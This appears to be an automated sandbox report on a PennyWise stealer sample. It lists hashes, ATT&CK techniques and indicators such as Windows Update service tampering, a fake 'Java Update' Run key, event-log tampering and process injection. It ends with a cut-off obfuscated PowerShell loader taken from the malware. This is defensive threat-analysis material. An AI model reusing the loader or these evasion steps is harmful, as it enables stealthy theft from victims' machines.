pennywise | f906d33be62c5707e7e2eaa3a25392ead4e9d4da71c717cb5d34c5924afed129

Analysis

max time kernel
150s
max time network
157s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
01/02/2026, 22:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Install.exe
Size 3.0MB
Sample260201-2e9pgsgv3a
SHA256 f906d33be62c5707e7e2eaa3a25392ead4e9d4da71c717cb5d34c5924afed129
MD5 47a998a7efae3efe3619c9707748de03
SHA1 3aaca045716a947aefea0c62c0371625a1081f65
SHA512 87becb964fe2a49c9c6e67aac133162e784e03e7870e64f777f31a72b665cd18e2acab76ec7334ead6d43251aa587c3dcc90dad89edb13217e3dd780a5d6bde1
SSDEEP 49152:kRUj44qJc3tzuVQlnevTAAzi7kbYhJ0Delg1Y6PQr5bJvwM2MJmWYKXXvv:kF4qSMWlRAWxHz64tVZ2MZv
TLSH
T1C4E533606104C4B2E4431D381EE17B34A26D0F6926DACF078237398EDAD9B57BF2AD75
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution exploit pennywise persistence stealer

Malware Config

Signatures

Detects PennyWise 1 IoCs

stealer

resource	yara_rule
behavioral2/memory/37196-50-0x0000000000400000-0x0000000000422000-memory.dmp	family_pennywise

Modifies security service 2 TTPs 5 IoCs

defense_evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

PennyWise
PennyWise is a stealer written in C#.
stealer pennywise
Pennywise family
pennywise

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 8396 created 8236	8396	WerFault.exe	138

Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs

description	pid	Process	procid_target
PID 2380 created 636	2380	powershell.EXE	5
PID 568 created 636	568	powershell.EXE	5
PID 8332 created 8236	8332	svchost.exe	138

Possible privilege escalation attempt 4 IoCs

exploit

pid	Process
3516	takeown.exe
4920	icacls.exe
8780	takeown.exe
8832	icacls.exe

Executes dropped EXE 6 IoCs

pid	Process
2040	Java.exe
5424	yt.exe
1044	33334.exe
1760	Java Update.exe
7896	Java Update.exe
6644	chrome.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 2 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WER-Diag%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx	svchost.exe

Modifies file permissions 1 TTPs 4 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3516	takeown.exe
4920	icacls.exe
8780	takeown.exe
8832	icacls.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Windows\CurrentVersion\Run\Java Update = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Java Update\\Java Update.exe"	Java.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2380	powershell.EXE
568	powershell.EXE

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

ConfuserEx .NET packer 1 IoCs

Detects ConfuserEx .NET packer.

resource	yara_rule
behavioral2/memory/2040-15-0x0000000001570000-0x0000000001580000-memory.dmp	ConfuserEx

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.EXE.log	powershell.EXE

Suspicious use of SetThreadContext 5 IoCs

description	pid	Process	procid_target
PID 5424 set thread context of 37196	5424	yt.exe	89
PID 1044 set thread context of 1232	1044	33334.exe	95
PID 2380 set thread context of 1452	2380	powershell.EXE	118
PID 568 set thread context of 5448	568	powershell.EXE	125
PID 6644 set thread context of 8236	6644	chrome.exe	138

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\dialersvc32.job	conhost.exe
File opened for modification	C:\Windows\Tasks\dialersvc32.job	conhost.exe
File created	C:\Windows\Tasks\dialersvc64.job	conhost.exe
File opened for modification	C:\Windows\Tasks\dialersvc64.job	conhost.exe

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
8016	sc.exe
8076	sc.exe
7532	sc.exe
5780	sc.exe
4164	sc.exe
7872	sc.exe
8128	sc.exe
3340	sc.exe
3656	sc.exe
836	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Install.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	yt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AppLaunch.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe

Checks processor information in registry 2 TTPs 7 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 50,1329 10,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1769985157"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE

Modifies registry key 1 TTPs 18 IoCs

Modify Registry

T1112

pid	Process
5888	reg.exe
5200	reg.exe
8352	reg.exe
8536	reg.exe
8972	reg.exe
9072	reg.exe
9128	reg.exe
3220	reg.exe
3080	reg.exe
4388	reg.exe
8640	reg.exe
8732	reg.exe
8588	reg.exe
2200	reg.exe
6064	reg.exe
1616	reg.exe
3064	reg.exe
9020	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
6532	powershell.exe
6532	powershell.exe
1044	33334.exe
5624	powershell.exe
5624	powershell.exe
2380	powershell.EXE
568	powershell.EXE
568	powershell.EXE
2380	powershell.EXE
2380	powershell.EXE
1452	dllhost.exe
1452	dllhost.exe
1452	dllhost.exe
1452	dllhost.exe
568	powershell.EXE
5448	dllhost.exe
5448	dllhost.exe
5448	dllhost.exe
5448	dllhost.exe
5448	dllhost.exe
5448	dllhost.exe
1452	dllhost.exe
1452	dllhost.exe
2544	powershell.EXE
5448	dllhost.exe
5448	dllhost.exe
1452	dllhost.exe
1452	dllhost.exe
2544	powershell.EXE
5448	dllhost.exe
5448	dllhost.exe
1452	dllhost.exe
1452	dllhost.exe
5448	dllhost.exe
5448	dllhost.exe
1452	dllhost.exe
1452	dllhost.exe
5448	dllhost.exe
5448	dllhost.exe
1452	dllhost.exe
1452	dllhost.exe
5448	dllhost.exe
5448	dllhost.exe
2544	powershell.EXE
1452	dllhost.exe
1452	dllhost.exe
5448	dllhost.exe
5448	dllhost.exe
1452	dllhost.exe
1452	dllhost.exe
1452	dllhost.exe
5448	dllhost.exe
1452	dllhost.exe
5448	dllhost.exe
5448	dllhost.exe
5448	dllhost.exe
1452	dllhost.exe
1452	dllhost.exe
1452	dllhost.exe
5448	dllhost.exe
1452	dllhost.exe
5448	dllhost.exe
5448	dllhost.exe
5448	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3124	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	6532	powershell.exe
Token: SeDebugPrivilege	37196	AppLaunch.exe
Token: SeDebugPrivilege	1044	33334.exe
Token: SeTakeOwnershipPrivilege	3516	takeown.exe
Token: SeDebugPrivilege	5624	powershell.exe
Token: SeDebugPrivilege	2380	powershell.EXE
Token: SeDebugPrivilege	568	powershell.EXE
Token: SeIncreaseQuotaPrivilege	5624	powershell.exe
Token: SeSecurityPrivilege	5624	powershell.exe
Token: SeTakeOwnershipPrivilege	5624	powershell.exe
Token: SeLoadDriverPrivilege	5624	powershell.exe
Token: SeSystemProfilePrivilege	5624	powershell.exe
Token: SeSystemtimePrivilege	5624	powershell.exe
Token: SeProfSingleProcessPrivilege	5624	powershell.exe
Token: SeIncBasePriorityPrivilege	5624	powershell.exe
Token: SeCreatePagefilePrivilege	5624	powershell.exe
Token: SeBackupPrivilege	5624	powershell.exe
Token: SeRestorePrivilege	5624	powershell.exe
Token: SeShutdownPrivilege	5624	powershell.exe
Token: SeDebugPrivilege	5624	powershell.exe
Token: SeSystemEnvironmentPrivilege	5624	powershell.exe
Token: SeRemoteShutdownPrivilege	5624	powershell.exe
Token: SeUndockPrivilege	5624	powershell.exe
Token: SeManageVolumePrivilege	5624	powershell.exe
Token: 33	5624	powershell.exe
Token: 34	5624	powershell.exe
Token: 35	5624	powershell.exe
Token: 36	5624	powershell.exe
Token: SeDebugPrivilege	2380	powershell.EXE
Token: SeDebugPrivilege	1452	dllhost.exe
Token: SeIncreaseQuotaPrivilege	5624	powershell.exe
Token: SeSecurityPrivilege	5624	powershell.exe
Token: SeTakeOwnershipPrivilege	5624	powershell.exe
Token: SeLoadDriverPrivilege	5624	powershell.exe
Token: SeSystemProfilePrivilege	5624	powershell.exe
Token: SeSystemtimePrivilege	5624	powershell.exe
Token: SeProfSingleProcessPrivilege	5624	powershell.exe
Token: SeIncBasePriorityPrivilege	5624	powershell.exe
Token: SeCreatePagefilePrivilege	5624	powershell.exe
Token: SeBackupPrivilege	5624	powershell.exe
Token: SeRestorePrivilege	5624	powershell.exe
Token: SeShutdownPrivilege	5624	powershell.exe
Token: SeDebugPrivilege	5624	powershell.exe
Token: SeSystemEnvironmentPrivilege	5624	powershell.exe
Token: SeRemoteShutdownPrivilege	5624	powershell.exe
Token: SeUndockPrivilege	5624	powershell.exe
Token: SeManageVolumePrivilege	5624	powershell.exe
Token: 33	5624	powershell.exe
Token: 34	5624	powershell.exe
Token: 35	5624	powershell.exe
Token: 36	5624	powershell.exe
Token: SeIncreaseQuotaPrivilege	5624	powershell.exe
Token: SeSecurityPrivilege	5624	powershell.exe
Token: SeTakeOwnershipPrivilege	5624	powershell.exe
Token: SeLoadDriverPrivilege	5624	powershell.exe
Token: SeSystemProfilePrivilege	5624	powershell.exe
Token: SeSystemtimePrivilege	5624	powershell.exe
Token: SeProfSingleProcessPrivilege	5624	powershell.exe
Token: SeIncBasePriorityPrivilege	5624	powershell.exe
Token: SeCreatePagefilePrivilege	5624	powershell.exe
Token: SeBackupPrivilege	5624	powershell.exe
Token: SeRestorePrivilege	5624	powershell.exe
Token: SeShutdownPrivilege	5624	powershell.exe
Token: SeDebugPrivilege	5624	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2716 wrote to memory of 2040	2716	Install.exe	80
PID 2716 wrote to memory of 5424	2716	Install.exe	81
PID 2716 wrote to memory of 1044	2716	Install.exe	83
PID 1044 wrote to memory of 6532	1044	33334.exe	86
PID 2040 wrote to memory of 7896	2040	Java.exe	88
PID 5424 wrote to memory of 37196	5424	yt.exe	89
PID 5424 wrote to memory of 37196	5424	yt.exe	89
PID 1044 wrote to memory of 37864	1044	33334.exe	91
PID 37864 wrote to memory of 3340	37864	cmd.exe	93
PID 37864 wrote to memory of 3656	37864	cmd.exe	94
PID 1044 wrote to memory of 1232	1044	33334.exe	95
PID 1044 wrote to memory of 1232	1044	33334.exe	95
PID 1044 wrote to memory of 1232	1044	33334.exe	95
PID 1044 wrote to memory of 1232	1044	33334.exe	95
PID 1044 wrote to memory of 1232	1044	33334.exe	95
PID 1044 wrote to memory of 1232	1044	33334.exe	95
PID 1044 wrote to memory of 1232	1044	33334.exe	95
PID 1044 wrote to memory of 1232	1044	33334.exe	95
PID 1044 wrote to memory of 1232	1044	33334.exe	95
PID 37864 wrote to memory of 5780	37864	cmd.exe	96
PID 37864 wrote to memory of 4164	37864	cmd.exe	97
PID 37864 wrote to memory of 836	37864	cmd.exe	98
PID 37864 wrote to memory of 5888	37864	cmd.exe	99
PID 37864 wrote to memory of 2200	37864	cmd.exe	100
PID 37864 wrote to memory of 5200	37864	cmd.exe	101
PID 37864 wrote to memory of 3220	37864	cmd.exe	102
PID 37864 wrote to memory of 6064	37864	cmd.exe	103
PID 37864 wrote to memory of 3516	37864	cmd.exe	104
PID 1044 wrote to memory of 5624	1044	33334.exe	105
PID 37864 wrote to memory of 4920	37864	cmd.exe	107
PID 37864 wrote to memory of 3080	37864	cmd.exe	112
PID 37864 wrote to memory of 1616	37864	cmd.exe	113
PID 37864 wrote to memory of 4388	37864	cmd.exe	114
PID 37864 wrote to memory of 3064	37864	cmd.exe	115
PID 37864 wrote to memory of 4236	37864	cmd.exe	116
PID 37864 wrote to memory of 916	37864	cmd.exe	117
PID 2380 wrote to memory of 1452	2380	powershell.EXE	118
PID 2380 wrote to memory of 1452	2380	powershell.EXE	118
PID 2380 wrote to memory of 1452	2380	powershell.EXE	118
PID 2380 wrote to memory of 1452	2380	powershell.EXE	118
PID 2380 wrote to memory of 1452	2380	powershell.EXE	118
PID 2380 wrote to memory of 1452	2380	powershell.EXE	118
PID 2380 wrote to memory of 1452	2380	powershell.EXE	118
PID 2380 wrote to memory of 1452	2380	powershell.EXE	118
PID 2380 wrote to memory of 1452	2380	powershell.EXE	118
PID 37864 wrote to memory of 4484	37864	cmd.exe	119
PID 37864 wrote to memory of 1496	37864	cmd.exe	120
PID 37864 wrote to memory of 4612	37864	cmd.exe	121
PID 37864 wrote to memory of 2388	37864	cmd.exe	122
PID 37864 wrote to memory of 5568	37864	cmd.exe	123
PID 1452 wrote to memory of 636	1452	dllhost.exe	5
PID 1452 wrote to memory of 688	1452	dllhost.exe	7
PID 1452 wrote to memory of 900	1452	dllhost.exe	11
PID 1452 wrote to memory of 72	1452	dllhost.exe	13
PID 1452 wrote to memory of 772	1452	dllhost.exe	14
PID 1452 wrote to memory of 1048	1452	dllhost.exe	15
PID 1452 wrote to memory of 1080	1452	dllhost.exe	16
PID 1452 wrote to memory of 1088	1452	dllhost.exe	17
PID 1452 wrote to memory of 1096	1452	dllhost.exe	18
PID 1452 wrote to memory of 1212	1452	dllhost.exe	20
PID 1452 wrote to memory of 1264	1452	dllhost.exe	21
PID 1452 wrote to memory of 1284	1452	dllhost.exe	22
PID 1452 wrote to memory of 1416	1452	dllhost.exe	23
PID 1452 wrote to memory of 1464	1452	dllhost.exe	24

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:636
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:772
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{97b7c065-3dc1-4fb0-88b0-e4d0c05c7053}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1452
- C:\Windows\SysWOW64\dllhost.exe
  C:\Windows\SysWOW64\dllhost.exe /Processid:{66ecae62-ace3-4fd0-a5bf-0b951ff54dda}
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:5448

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:688

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-5d4ea2dd-a2c4-411f-bd21-42cb1a690928 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-ccca20bb-069c-491a-9ccb-bbcb7380ee1a -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-a2a57a25-622e-44ce-8be8-ad0a11138bd8 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-d184ecb5-451f-4416-a31b-f445bf499c4e -LifetimeId:4f761e0d-4ae7-4792-afce-81c31bde5795 -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:900

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:72

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1048

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1080

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:1088

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1096

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1212

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1264

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1284
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:NYlqhINgORtG{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$XnpdDPUWWTYofc,[Parameter(Position=1)][Type]$yBwYDARhPi)$xPWaNICwAzc=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$xPWaNICwAzc.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$XnpdDPUWWTYofc).SetImplementationFlags('Runtime,Managed');$xPWaNICwAzc.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$yBwYDARhPi,$XnpdDPUWWTYofc).SetImplementationFlags('Runtime,Managed');Write-Output $xPWaNICwAzc.CreateType();}$dciNrpFbwzZdN=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$HCtdyyurzomTzd=$dciNrpFbwzZdN.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$tnkaVNxJplFkoAzlQHI=NYlqhINgORtG @([String])([IntPtr]);$zMdubgPPRMTSNTmMVWiZcL=NYlqhINgORtG 